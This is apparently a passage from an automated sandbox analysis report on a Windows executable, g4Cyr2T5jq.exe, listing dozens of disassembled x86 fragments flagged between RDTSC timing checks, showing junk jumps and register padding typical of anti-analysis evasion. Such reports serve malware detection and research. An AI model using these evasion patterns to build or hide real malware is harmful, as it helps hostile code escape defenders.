0x0000004f popfd 0x00000050 pushfd 0x00000051 jmp 00007F772874F640h 0x00000056 or esi, 3BDB61E8h 0x0000005c jmp 00007F772874F63Bh 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EC0930 second address: 4EC0976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F772DBA61DDh 0x00000011 mov edi, edi 0x00000013 jmp 00007F77291E595Eh 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F77291E5960h 0x0000001e push eax 0x0000001f pushad 0x00000020 mov cl, dh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7007D second address: 4E700A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E700A0 second address: 4E700A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E700A4 second address: 4E700F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushfd 0x00000008 jmp 00007F772874F63Bh 0x0000000d add si, E84Eh 0x00000012 jmp 00007F772874F649h 0x00000017 popfd 0x00000018 pop eax 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F772874F648h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E700F5 second address: 4E70104 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70104 second address: 4E70127 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70127 second address: 4E70130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 9F9Ch 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70130 second address: 4E70136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70136 second address: 4E7015D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov cl, A6h 0x0000000f mov eax, edx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F77291E595Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7015D second address: 4E701BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e mov edi, 620F808Ch 0x00000013 popad 0x00000014 mov ebx, dword ptr [ebp+10h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ax, CA53h 0x0000001e pushfd 0x0000001f jmp 00007F772874F648h 0x00000024 jmp 00007F772874F645h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E701BF second address: 4E701E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F77291E595Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E701E4 second address: 4E701EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E701EA second address: 4E701EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E701EE second address: 4E70202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, 06F57CD6h 0x00000011 mov cl, dh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70202 second address: 4E70236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dl 0x00000005 call 00007F77291E5960h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f jmp 00007F77291E5961h 0x00000014 mov esi, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70236 second address: 4E7023A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7023A second address: 4E7023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7023E second address: 4E70244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70244 second address: 4E7024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7024A second address: 4E7024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7024E second address: 4E702ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c pushad 0x0000000d mov esi, 0C98B35Dh 0x00000012 pushfd 0x00000013 jmp 00007F77291E595Ah 0x00000018 adc ecx, 35AA07B8h 0x0000001e jmp 00007F77291E595Bh 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 jmp 00007F77291E5969h 0x0000002b xchg eax, edi 0x0000002c pushad 0x0000002d mov edi, esi 0x0000002f jmp 00007F77291E5968h 0x00000034 popad 0x00000035 test esi, esi 0x00000037 jmp 00007F77291E5960h 0x0000003c je 00007F779B293C9Dh 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F77291E5967h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E702ED second address: 4E702F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E702F3 second address: 4E702F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E702F7 second address: 4E7033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f jmp 00007F772874F647h 0x00000014 je 00007F779A7FD944h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F772874F645h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E7033A second address: 4E703E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [esi+44h] 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F77291E5962h 0x00000014 add ax, B5F8h 0x00000019 jmp 00007F77291E595Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F77291E5968h 0x00000025 adc ax, 9058h 0x0000002a jmp 00007F77291E595Bh 0x0000002f popfd 0x00000030 popad 0x00000031 or edx, dword ptr [ebp+0Ch] 0x00000034 jmp 00007F77291E5966h 0x00000039 test edx, 61000000h 0x0000003f pushad 0x00000040 mov di, si 0x00000043 pushfd 0x00000044 jmp 00007F77291E595Ah 0x00000049 adc ecx, 1F66A1E8h 0x0000004f jmp 00007F77291E595Bh 0x00000054 popfd 0x00000055 popad 0x00000056 jne 00007F779B293C06h 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E703E4 second address: 4E703EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E608E5 second address: 4E608F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E608F4 second address: 4E6090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F772874F644h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E6090C second address: 4E60910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60910 second address: 4E60930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov dh, ch 0x0000000c mov eax, edx 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F772874F63Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60930 second address: 4E6098C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F77291E5966h 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007F77291E5960h 0x00000018 xchg eax, ebx 0x00000019 jmp 00007F77291E5960h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F77291E595Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E6098C second address: 4E609B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ecx, 1E265FE9h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F772874F644h 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E609B8 second address: 4E609D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E5965h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E609D1 second address: 4E609D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60B07 second address: 4E60B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60B0B second address: 4E60B48 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test byte ptr [76FA6968h], 00000002h 0x0000000e jmp 00007F772874F640h 0x00000013 jne 00007F779A804EC3h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F772874F647h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60B48 second address: 4E60BDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F77291E595Ch 0x00000013 add si, CA08h 0x00000018 jmp 00007F77291E595Bh 0x0000001d popfd 0x0000001e push ecx 0x0000001f pushfd 0x00000020 jmp 00007F77291E595Fh 0x00000025 and al, 0000004Eh 0x00000028 jmp 00007F77291E5969h 0x0000002d popfd 0x0000002e pop eax 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F77291E595Ch 0x00000036 mov dword ptr [esp], ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c jmp 00007F77291E595Dh 0x00000041 push eax 0x00000042 pop ebx 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60BDA second address: 4E60BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E60BE0 second address: 4E60BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70CD8 second address: 4E70CF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007F772874F640h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70CF8 second address: 4E70CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70CFE second address: 4E70D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70D04 second address: 4E70D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70A42 second address: 4E70AB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F641h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 5323A452h 0x00000010 pushad 0x00000011 jmp 00007F772874F649h 0x00000016 pushfd 0x00000017 jmp 00007F772874F640h 0x0000001c jmp 00007F772874F645h 0x00000021 popfd 0x00000022 popad 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F772874F63Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70AB1 second address: 4E70AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70AB7 second address: 4E70ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70ABB second address: 4E70ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70ABF second address: 4E70ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F772874F641h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70ADE second address: 4E70AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70AE2 second address: 4E70AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70AE8 second address: 4E70AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E70AEE second address: 4E70B08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F772874F63Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EF0015 second address: 4EF0075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F77291E595Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F77291E595Ch 0x00000019 add ax, 96A8h 0x0000001e jmp 00007F77291E595Bh 0x00000023 popfd 0x00000024 call 00007F77291E5968h 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EF0075 second address: 4EF00C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F640h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 77366250h 0x00000012 pushfd 0x00000013 jmp 00007F772874F649h 0x00000018 adc ax, 32D6h 0x0000001d jmp 00007F772874F641h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EF00C4 second address: 4EF00F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx ebx, ax 0x00000011 jmp 00007F77291E5964h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE041D second address: 4EE0422 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE0422 second address: 4EE04D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F77291E5965h 0x0000000a or cx, D376h 0x0000000f jmp 00007F77291E5961h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushad 0x0000001b mov eax, 3858D3B9h 0x00000020 mov esi, 19A9F275h 0x00000025 popad 0x00000026 push esi 0x00000027 call 00007F77291E5961h 0x0000002c pop eax 0x0000002d pop edi 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 mov dx, 3FE0h 0x00000035 pushfd 0x00000036 jmp 00007F77291E5969h 0x0000003b adc ax, 48E6h 0x00000040 jmp 00007F77291E5961h 0x00000045 popfd 0x00000046 popad 0x00000047 xchg eax, ebp 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b pushfd 0x0000004c jmp 00007F77291E595Ah 0x00000051 xor esi, 1CDAF488h 0x00000057 jmp 00007F77291E595Bh 0x0000005c popfd 0x0000005d rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE022F second address: 4EE02BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F772874F641h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov ecx, 49C703A3h 0x00000016 pushfd 0x00000017 jmp 00007F772874F648h 0x0000001c jmp 00007F772874F645h 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F772874F63Eh 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F772874F647h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80124 second address: 4E8012A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8012A second address: 4E8012E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8012E second address: 4E8015A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F77291E5960h 0x0000000e push eax 0x0000000f jmp 00007F77291E595Bh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8015A second address: 4E8015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E8015E second address: 4E80164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80164 second address: 4E80176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80176 second address: 4E80189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E595Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E80189 second address: 4E801B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F772874F63Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E801B6 second address: 4E801C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E595Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4E801C6 second address: 4E801CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE06BF second address: 4EE06D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E5960h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE06D3 second address: 4EE0704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F772874F63Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F772874F647h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE0704 second address: 4EE07E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F77291E595Eh 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F77291E595Eh 0x0000001a xor cx, FCE8h 0x0000001f jmp 00007F77291E595Bh 0x00000024 popfd 0x00000025 mov dh, ch 0x00000027 popad 0x00000028 push dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c mov edi, 551775C4h 0x00000031 pushfd 0x00000032 jmp 00007F77291E595Dh 0x00000037 sub cx, AB06h 0x0000003c jmp 00007F77291E5961h 0x00000041 popfd 0x00000042 popad 0x00000043 push E70F3AB1h 0x00000048 pushad 0x00000049 call 00007F77291E595Dh 0x0000004e jmp 00007F77291E5960h 0x00000053 pop esi 0x00000054 pushad 0x00000055 pushfd 0x00000056 jmp 00007F77291E5961h 0x0000005b sbb cx, CDC6h 0x00000060 jmp 00007F77291E5961h 0x00000065 popfd 0x00000066 mov si, 7A77h 0x0000006a popad 0x0000006b popad 0x0000006c add dword ptr [esp], 18F1C551h 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 popad 0x00000079 rdtsc
